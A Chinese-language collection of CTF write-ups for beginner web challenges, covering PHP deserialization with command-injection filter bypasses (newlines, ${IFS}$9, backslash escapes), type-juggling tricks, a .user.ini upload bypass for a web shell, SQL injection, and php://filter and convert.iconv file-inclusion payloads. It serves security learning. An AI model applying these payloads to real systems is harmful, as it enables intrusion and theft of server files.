unseping
难度 *
代码审计加反序列化加rce的过滤的知识
花了点时间看代码
一个反序列化,需要先将$method赋值为ping 然后$args传入一个数组,数组里面就是要执行的参数,可以理解为127.0.0.1传入这里,然后通过post的ctf传入base64编码的序列化的结果,这里估计是为了防止这个私有变量的字符影响
直接附上序列化代码
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$myMethod = "ping"; // 自定义的方法名
$myArgs = array('
pwd'); //这里用换行绕过,还可以尝试tab 并且这里只能使用单引号,如果使用双引号在使用特殊绕过手段的时候可能会出错解释成变量了
$e=new ease($myMethod,$myArgs);
$a=serialize($e);
echo $a;
$b=base64_encode($a);
echo $b;
?>
可以看到结果返回了
然后去网页尝试了一下当前目录下面没有flag和flag.php
尝试ll没用,那就只能绕过l\s 在Linux中的命令行中\相当于转义 转义s没有作用 代替空格的有很多我这里用的${IFS}$9
因为过滤了/ 只能选择cd进入这个目录再执行查看的命令
$myArgs = array('
cd${IFS}$9fl\ag_1s_here
l\s');
$myArgs = array('
cd${IFS}$9fl\ag_1s_here
head${IFS}$9fl\ag_831b69012c67b35f.ph\p');
easyphp
看了一下代码审计的题目,然后考一些函数的缺陷,我看到MD5那个看了会没有思绪确实没怎么做过这种类型的不是很懂,直接看wp了
好家伙真的是纯跑脚本判断后6位是吧。。。我还以为有什么函数漏洞的绕过方式。。。
第一个参数使用科学计数法也就是10的次方,这里限制了三位直接用最大的9e9也就是9乘10的9次方
然后第二个也就是MD5判断这里这个substr函数解释一下
$string = "Hello, World!";
echo substr($string, 0, 5); // 输出 "Hello"
echo substr($string, 7); // 输出 "World!"
echo substr($string, -5); // 输出 "World!"
echo substr($string, -5, 1); // 输出 "W"
然后写一个简单的python脚本来找这个值
import hashlib
for b in range(0,100000000):
b=str(b)
# 计算b的MD5哈希值
md5_hash = hashlib.md5(b.encode('utf-8')).hexdigest()
# 获取MD5哈希值的最后6个字符
last_6_chars = md5_hash[-6:]
# 检查最后6个字符是否等于'8b184b'
if last_6_chars == '8b184b':
print("匹配")
print(b)
break
else:
print("不匹配")
看第三个参数c要用json格式传入也就是{'1':'1'}这样的格式,第一个if好比较不是数字的和字符的去比较会自动把不是数字的部分去掉拿数字部分去比较也就是这里传入"m":"2023m"就可以绕过,第二个if首先判断要是一个数组也就是"n":[]然后数组的索引的第一位还是一个数组"n":[[]],count()函数用于获取数组的元素数量,也就是要有2个键,第一个键对应的值为数组
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
array_search作用是去匹配要匹配的值,成功返回对应的键也就是下标索引,失败返回flash
首先第一个就是如果n的值里有DGGJ就赋值给d,没有就返回false ,falsh===flash成立直接die了,所以数组中必须有DGGJ,可是后面的一个iif循环判断数组中又不可以存在DGGJ,这就矛盾了。。。。。。所以突破点在这个array_search函数上面
所以说这个函数在寻找的时候是用DGGJ去比较,如果DGGJ和0比较,对于DGGJ来说就要去除字符部分保留数字部分但是他是纯字符所以其实是相当于数字0,也就是0DGGJ只留下!!!
所以在第二个位置放个0,就满足了寻找到了这个DGGJ,就会返回他的下标,这里不能放第一位就是这个原因,放第一位返回0索引那不还是flash。放第二位返回1,1不等于flash所以触发赋值null,同时绕过第二个循环的那个判断,数组中不存在DGGJ。
这道题还是挺有难度的,这些函数的考察实在是太复杂了,666
最后的payload
easyupload
典型的考察文件上传的题,随便上传一个图片文件抓个包,先把mime类型删除了发现报错,所以第一个考点就是mime类型,不过我一般习惯直接上传图片类型的文件懒得修改类型方便一点
如果上传成功后会返回路径
再刷新一下页面看到是nginx的服务器,所以没有apache解析漏洞
将文件名修改为php被检测到了,同时发现他会检测文件内容,不能有php,但是我尝试在内容中修改为大写PHP可以绕过
没有看到php版本的信息,先跑一下支持的文件后缀,发现基本上都过滤了,但是.user.ini没有被过滤,猜测可能是使用这个
首先上传一个3.png
再上传一个.user.ini
确实是这个方法做的,不过好像加载错文件了还是怎么回事,这种解析漏洞如果一次不成功他的环境就被破坏了。。。
可能之前测试的时候传过3.png的图片了,稳妥起见我重启了靶场,然后还是这样,我又重启了靶场没上传文件直接打开文件夹,发现。。。尼玛是原先有这个.user,ini文件的,而且很骚的是我这先访问了这个文件夹后面连文件都上传不了了,我还是先看看wp把,搞得我不确定是不是.user.ini的用法了
看了wp确实是.user.ini的漏洞,网上的wp使用的是=没用PHP,但是这个绕过方式应该是不影响的,不过为了稳妥起见先用这种写法,我一开始的payload就是用的=
实际上其实这题我做了将近一个上午,就是蚁剑连接不上,我一直认为是.user.ini和jpg文件的上传顺序问题,或者哪里代码的小细节出了问题一直连不上,感觉可能是垃圾蚁剑有问题了,我用中国菜刀一下就链接上了。。。
view_source
F12查看源代码。。。。
weak_auth
账号 admin 密码 123456
Training-WWW-Robots
教人查看robots.txt文件的
baby_web
抓个访问index.php的文件用bp可以看到就在返回的请求头里
simple_php
很简单的代码审计,就考察个==和数字的判断,php中==为弱比较,这里传个字符0,数字的比较会自动保留只有数字的部分
unserialize3
考点绕过wakeup,wakeup在反序列化时调用
通过修改属性的个数绕过
原先的属性个数是1也就是这个$flag这个属性,然后改为大于1的就会绕过wakeup的执行了
PHP2
这个题目没看出考点
在抓包后只看出请求头的accept有点多不太对劲
这里使用dirsearch扫描,可以扫出一个index.phps的文件,phps就是php source的意思
然后拿到源码分析一下就是一个二次URL编码
把admin编码两次就可以了
robots
查看robots.txt文件的
get_post
教怎么使用get和post传参的
disabled_button
删除disables
cookie
教看cookie的
inget
看介绍感觉应该是sql注入,但是没有页面报错先尝试拿sqlmap跑了一下确实是sql注如,接下来手工注入
再尝试发现有回显位
得到库名
得到表名
得到列名
然后获取pw里面就是
backup
页面提示备份文件,盲猜index.php.bak。
ics-06
index.php有?id=1很经典的sql注入的参数,但是这里测了半天也没发现sql注入,然后说是送分题。
然后看了wp是存数字爆破。。。我其实也尝试了但是只设置到1000。。。。好sb的题,跑到2333出来了
fileclude
直接展示源码,很简单的带阿米审计并且考察了php的伪协议的使用
这里首先使用data协议,data协议可以被filegetcontents函数执行,然后把后面接的字符串输出,然后用一个php伪协议将源码读出来
fileinclude
打开f12查看源码可以看到把index.php的源码展示出来了
通过在cookie中传入参数然后读出flag的源码
payload :language=php://filter/convert.base64-encode/resource=flag
file_include
开始就是代码审计,然后看到文件包含并且发现有过滤,尝试使用php伪协议php://filter的base64,发现read被过滤了base64 也被过滤了,上面有个./check.php估计就是过滤器代码
先本地文件包含一下,有回显
因为前面已经测试过read和base64都是被过滤的只能选择使用convert.iconv.* 而这个有多种编码方式,就考的这个。
编码方式:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac (alias: MacJapanese)
SJIS-Mobile#DOCOMO (alias: SJIS-DOCOMO)
SJIS-Mobile#KDDI (alias: SJIS-KDDI)
SJIS-Mobile#SOFTBANK (alias: SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO (alias: UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B (alias: UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK (alias: UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI (alias: ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES (alias: HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC (alias: CP949)
ISO-2022-KR
Windows-1251 (alias: CP1251)
Windows-1252 (alias: CP1252)
CP866 (alias: IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8 (alias: ArmSCII8)
格式一:.分隔
convert.iconv..
格式二:/分隔
convert.iconv./
因为是分为两种编码方式,所以这个爆破选择集束炸弹
还好这个靶场没有cc防御,否则要跑到死。。。像那个buuctf妈的跑快了就429.。。。
随便跑一下就出来了许多中编码方式可以回显的了
随便拿一个可以用的repeat一下查看flag.php
这一题也算是查漏补缺了,确实不太了解这个过滤器还有这种编码方式
至此一星难度全部做完,感觉这次的一星中有几个还是很有强度的,考察的那些函数确实很细节。学到了学到了